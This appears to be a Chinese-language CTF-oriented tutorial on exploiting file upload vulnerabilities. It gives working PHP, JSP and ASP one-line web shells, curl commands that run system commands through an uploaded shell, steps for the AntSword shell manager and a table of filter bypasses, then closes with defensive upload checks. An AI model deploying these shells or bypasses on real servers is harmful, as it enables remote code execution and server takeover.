文件上传漏洞实战:从无验证到 Getshell 的完整流程

Jun 4, 2026 分钟阅读

一、什么是文件上传漏洞

文件上传漏洞是指 Web 应用程序允许用户上传文件,但没有对上传文件的类型、内容、后缀等进行充分校验,导致攻击者可以上传恶意文件(如 Web Shell),进而控制服务器的安全漏洞。

1.1 漏洞的本质

正常业务场景中,用户上传头像、文档、图片等文件,服务端将其保存到服务器目录。如果服务端信任了用户上传的所有文件,攻击者就可以上传一个伪装成图片的 PHP 脚本,然后直接访问该脚本执行任意代码。

1.2 典型的漏洞代码

1// 无验证的文件上传
2$target = "upload/" . basename($_FILES["file"]["name"]);
3move_uploaded_file($_FILES["file"]["tmp_name"], $target);

这段代码直接将用户上传的文件保存到 upload/ 目录,不做任何类型检查。上传 shell.php 后,访问 http://target.com/upload/shell.php 即可执行恶意代码。


二、常见应用场景

文件上传漏洞通常出现在以下业务场景中:

2.1 用户头像/资料上传

社交平台、论坛、博客系统允许用户上传头像、背景图。如果仅检查文件扩展名或 MIME 类型,攻击者可以通过修改后缀、伪造 MIME 等方式绕过。

2.2 附件与文档管理

企业 OA 系统、邮件系统、网盘允许上传文档、压缩包。如果服务端对压缩包内的文件不做二次检查,攻击者可以上传包含 Web Shell 的 ZIP 文件。

2.3 编辑器与富文本组件

富文本编辑器(如 UEditor、KindEditor)的图片上传功能,如果没有严格限制上传类型,可能成为 getshell 的入口。

2.4 API 文件接口

前后端分离架构中,前端通过 API 上传文件到 OSS 或服务器。如果 API 没有校验文件类型,攻击者可以直接调用接口上传任意文件。


三、环境判断:确定用什么木马

上传木马前,必须先判断目标环境的语言和中间件,否则上传的木马无法执行。

3.1 判断方法

方法操作示例
URL 后缀观察页面 URLindex.php → PHP
Wappalyzer 插件浏览器插件自动检测显示 PHP、Apache、Nginx
响应头查看 X-Powered-ByX-Powered-By: PHP/7.3.14
报错页面触发 404 或报错Fatal error: Uncaught Error → PHP

3.2 常见木马类型

环境木马后缀示例
PHP.php<?php eval(@$_POST['a']); ?>
JSP.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP.asp<% eval request("cmd") %>
ASPX.aspx<%@ Page Language="Jscript" %>

四、一句话木马原理

4.1 PHP 一句话木马

1<?php eval(@$_POST['a']); ?>

执行逻辑:

  1. $_POST['a'] 接收 HTTP POST 请求中参数名为 a 的值
  2. eval() 函数将接收到的字符串当作 PHP 代码执行
  3. 攻击者发送 a=phpinfo();,服务端就会执行 phpinfo()

4.2 变体写法

1<?php @eval($_REQUEST['cmd']); ?>          // 同时支持 GET 和 POST
2<?php system($_GET['cmd']); ?>             // 直接执行系统命令
3<?php assert($_POST['a']); ?>              // assert 代替 eval
4<?php @preg_replace('/a/e',$_POST['a'],'a'); ?>  // preg_replace 执行

4.3 为什么叫「一句话」

整个木马只有一行核心代码,体积极小,容易隐藏在正常文件中,难以被静态检测发现。


五、手工利用完整流程

5.1 创建木马文件

将以下内容保存为 shell.php:

1<?php eval(@$_POST['a']); ?>

5.2 上传文件

在目标网站的上传页面,选择 shell.php,点击上传。

5.3 获取上传路径

上传成功后,页面通常会返回文件的访问路径:

1文件上传成功!路径:/upload/shell.php

5.4 测试木马是否可用

使用 curl 发送 POST 请求,执行 phpinfo():

1curl -X POST \
2  -d "a=phpinfo();" \
3  "http://target.com/upload/shell.php"

如果响应中包含 phpinfo() 的 HTML 输出,说明木马已成功执行。

5.5 查找 flag 文件

1# 查看当前目录文件
2curl -X POST -d "a=system('ls');" "http://target.com/upload/shell.php"
3
4# 查看上级目录
5curl -X POST -d "a=system('ls ..');" "http://target.com/upload/shell.php"
6
7# 读取 flag 文件
8curl -X POST -d "a=system('cat ../flag_xxx.php');" "http://target.com/upload/shell.php"

或者用 PHP 函数读取:

1curl -X POST \
2  -d "a=echo file_get_contents('../flag_xxx.php');" \
3  "http://target.com/upload/shell.php"

六、使用蚁剑连接木马

手工用 curl 操作效率低,推荐使用 中国蚁剑(AntSword) 等 Web Shell 管理工具。

6.1 添加连接

  1. 打开蚁剑 → 右键空白处 → 「添加数据」
  2. URL:输入木马的访问地址,如 http://target.com/upload/shell.php
  3. 连接密码:输入木马中的参数名,如 a
  4. 编码器/解码器:默认即可
  5. 点击「测试连接」,显示连接成功即可保存

6.2 文件管理

连接成功后,右键「文件管理」,即可像操作本地文件系统一样浏览服务器目录:

  • 查看、编辑、删除文件
  • 上传、下载文件
  • 执行终端命令

6.3 虚拟终端

右键「虚拟终端」,可以直接在服务器上执行命令:

1ls -la
2cat flag_xxx.php
3whoami

七、常见绕过手法

虽然「无验证」题目没有任何限制,但实际环境中经常会遇到各种过滤:

过滤类型绕过方法
前端 JS 校验禁用 JS 或抓包修改后缀
后缀黑名单使用 .php3、.phtml、.phar 等替代后缀
MIME 类型校验抓包修改 Content-Type 为 image/jpeg
文件内容检测在文件开头添加 GIF89a 伪装图片
.htaccess 解析上传 .htaccess 将 .jpg 解析为 PHP
条件竞争利用上传和删除的时间差执行木马
%00 截断在 PHP < 5.3.4 中使用 shell.php%00.jpg

八、防御建议

8.1 文件类型白名单

不要依赖黑名单(如禁止 .php),因为绕过方式太多。使用白名单,只允许特定的安全类型:

1$allowed = ['jpg', 'jpeg', 'png', 'gif'];
2$ext = pathinfo($filename, PATHINFO_EXTENSION);
3if (!in_array(strtolower($ext), $allowed)) {
4    die("文件类型不允许");
5}

8.2 文件内容检测

检查文件头(Magic Number)而非仅看后缀:

1$finfo = finfo_open(FILEINFO_MIME_TYPE);
2$mime = finfo_file($finfo, $tmp_file);
3if ($mime !== 'image/jpeg' && $mime !== 'image/png') {
4    die("文件内容不匹配");
5}

8.3 重命名与隔离存储

  • 上传后重命名文件为随机字符串(如 UUID),防止攻击者预测路径
  • 将上传目录设置为不可执行(Nginx: location /upload { deny all; })
  • 将上传文件存储到独立的文件服务器或 OSS,与 Web 应用隔离

8.4 二次渲染

对于图片文件,使用 GD 库或 ImageMagick 进行压缩/二次渲染,破坏嵌入的恶意代码:

1$img = imagecreatefromjpeg($tmp_file);
2imagejpeg($img, $target_path, 90);

九、总结

文件上传漏洞是 Web 安全中最常见且危害最大的漏洞之一。从「无验证」到各种绕过,核心思路始终不变:上传可执行的脚本文件,然后访问它执行任意代码。

关键记忆点:

  1. 先判断环境 —— PHP 用 .php 木马,JSP 用 .jsp 木马
  2. 一句话木马的核心是 eval/system —— 接收参数并执行
  3. curl 可以手动触发 —— curl -X POST -d "a=phpinfo();" shell.php
  4. 蚁剑提高效率 —— 文件管理、虚拟终端一键操作
  5. 防御靠白名单 + 内容检测 + 隔离存储 —— 黑名单和单一校验不可靠

理解文件上传漏洞的原理和利用流程,是 Web 安全测试和 CTF 比赛中的基础且必备的技能。